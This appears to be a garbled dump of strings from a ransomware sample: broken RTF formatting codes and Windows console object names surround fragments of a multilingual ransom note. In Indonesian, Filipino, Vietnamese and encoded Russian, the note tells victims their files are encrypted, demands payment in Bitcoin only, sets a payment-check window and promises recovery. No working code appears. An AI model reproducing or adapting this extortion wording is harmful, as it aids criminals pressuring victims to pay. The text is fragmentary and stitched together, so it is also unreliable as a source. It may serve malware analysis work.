\\'ef\\'f0\\'e0\\'e2\\'e8\\'eb\\'fc\\'ed\\'f3\\'fe \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ca\\'ee\\'ed\\'e5\\'f7\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 . \\'cc\\'fb\\loch\\f31529 \\hich\\f31529 \\'e3\\'e0\\'f0\\'e0\\'ed\\'f2\\'e8\\'f0\\'f3\\'e5\\'ec \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ce\\'ef\\'eb\\'e0\\'f2\\'e0\\loch\\f31529 \\hich\\f31529 \\'ef\\'f0\\'e8\\'ed\\'e8\\'ec\\'e0\\'e5\\'f2\\'f1\\'ff\\loch\\f31529 \\hich\\f31529 \\'f2\\'ee\\'eb\\'fc \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cf\\'ee\\'f1\\'eb\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\'e5\\'e3\\'ee\\loch\\f31529 \\hich\\f31529 \\'ef\\'eb\\'e0\\'f2\\'e5\\'e6\\'e0\\loch\\f31529 \\hich\\f31529 \\'ed \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 Khi thanh to\\'e1\\loch\\f31536 \\hich\\f31536 n \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 Nh\\'fd\\loch\\f31536 ng n}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\cs17\\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 29031\\'b7\\'d3\ \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Bagaimana Saya Bayar? \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Dapatkah saya Recover My Files? \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Kontak \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Maaari ba akong Ibalik muli ang Aking mga File? \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Makipag-ugnay sa \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Paano Ko Pay? \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Kami sangat menyarankan agar Anda tidak me\\hich\\af31502\\dbch\\af53\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 File penting Anda akan dienkripsi. \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Jika Anda membutuhkan bantuan kami, kirim pesan dengan mengklik . \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Pembayaran diterima hanya di Bitcoin. Untuk informasi lebih lanjut, klik . \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Ang iyong mahalagang mga file ay naka-encrypt. \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Kung kailangan mo ang aming tulong, magpadala ng mensahe sa pamamagitan ng pag-click <}{\\rtlch\\fcs1 \\af53 \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Oo naman. Ginagarantiya namin na maaari mong mabawi ang lahat ng iyong mga file nang ligtas at madali. \\par }{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Pagbabayad Tinatanggap sa Bitcoin lamang. Para sa karagdagang impormasyon, i-click <}{\\rtlch\\fcs1 \\af53 \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 20184\\'a5\\'49\ \\af53\\afs22 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 26377\\'a6\\'b3\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\af53\\afs22 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 -30335\\'ad\\'6e\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 19981\\'a4\\'a3\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 20184\\'a5\\'49\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 21040\\'a8\\'ec\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 25105\\'a7\\'da\ \\par }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 26368\\'b3\\'cc\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 25105\\'a7\\'da\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 20294\\'a6\\'fd\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 20294\\'a6\\'fd\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 22914\\'a6\\'70\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 24744\\'b1\\'7a\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 26159\\'ac\\'4f\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 26368\\'b3\\'cc\ \\af90\\afs22 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\af90\\afs22 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\par }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 c1\ \\PIPE\\ \\pnucltr\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl3\\pndec\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl4\\pnlcltr\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich )}}{\\*\\pnseclvl5\\pndec\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (} \\red128\\green0\\blue128;\\red128\\green0\\blue0;\\red128\\green128\\blue0;\\red128\\green128\\blue128;\\red192\\green192\\blue192;}{\\*\\defchp \\fs22\\loch\\af31506\\hich\\af31506\\dbch\\af31505 }{\\*\\defpap \\ql \\li0\\ri0\\sa200\\sl276\\slmult1 \\red255\\green255\\blue255;\\red0\\green0\\blue128;\\red0\\green128\\blue128;\\red0\\green128\\blue0;\\red128\\green0\\blue128;\\red128\\green0\\blue0;\\red128\\green128\\blue0;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red5\\green99\\blue193;}{\\*\\defchp \\RPC Control\\ConsoleLPC-0x000003BC-1333190300-13617924804819246357277348371021377984-952191596-1739269460-1455666328 \\RPC Control\\ConsoleLPC-0x00000994-1569971644598623547-530927353-1307907937824986770580215670695456530-1219771019 \\RPC Control\\ConsoleLPC-0x0000099C-9905856621666734106306486637-856033773-118775333815623337391005617996-1411360878 \\RPC Control\\ConsoleLPC-0x00000B34-241091258-10632443371550682790139018111216207573321532242973-15434746261325724320 \\RPC Control\\ConsoleLPC-0x00000D10--464568733-1459533581-633833832-1700943488-167131137-159572379113173873865730003 \\RPC Control\\ConsoleLPC-0x00000E8C--2121949365-1630700945947335501000294222-199221424210996338082031076023-577769686 \\rsid7998057\\rsid8592923\\rsid8656048\\rsid10768528\\rsid13911538\\rsid14237745\\rsid14432744\\rsid16127139\\rsid16253913\\rsid16278914}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1 senormstyforlist\\noindnmbrts\\felnbrelev\\nocxsptable\\indrlsweleven\\noafcnsttbl\\afelev\ \\nouicompat \\fet0{\\*\\wgrffmtfilter 2450} \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20184\\'95\\'74\ \\af12\\afs22 \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 26377\\'97\\'4c\ \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 20449\\'ab\\'48\ \\af90\\afs22 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 19968\\'88\\'ea\ \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22294\\'9a\\'a4\ \\af36\\afs22 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24536\\'96\\'59\ \\af11\\afs22 \\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 26371\\'98\\'f0\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p x\\'fa\\loch\\f31502 c \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ti}{ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n? \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 m n\\'e0\\loch\\f31502 \\hich\\f31502 y v\\'e0\\loch\\f31502 \\hich\\f31502 v\\'f4\\loch\\f31502 hi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ki}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 li}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 tr}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 gi\\'fa\\loch\\f31502 p c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 kh\\'f4\\loch\\f31502 i ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a Bitcoin v\\'e0\\loch\\f31502 mua m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a ch\\'fa\\loch\\f31502 \\hich\\f31502 ng t\\'f4\\loch\\f31502 i. \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i. Ch\\'fa\\loch\\f31502 \\hich\\f31502 ng t\\'f4}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 m tra: 9:00 s\\'e1\\loch\\f31502 \\hich\\f31502 ng - 11:00 s\\'e1\\loch\\f31502 ng GMT t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n ph\\'ed\\loch\\f31502 \\hich\\f31502 . H\\'e3\\loch\\f31502 y th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p v\\'e0\\loch\\f31502 o <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid3241513 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 u v\\'e0\\loch\\f31502 \\hich\\f31502 c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n mi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n r}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 u b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 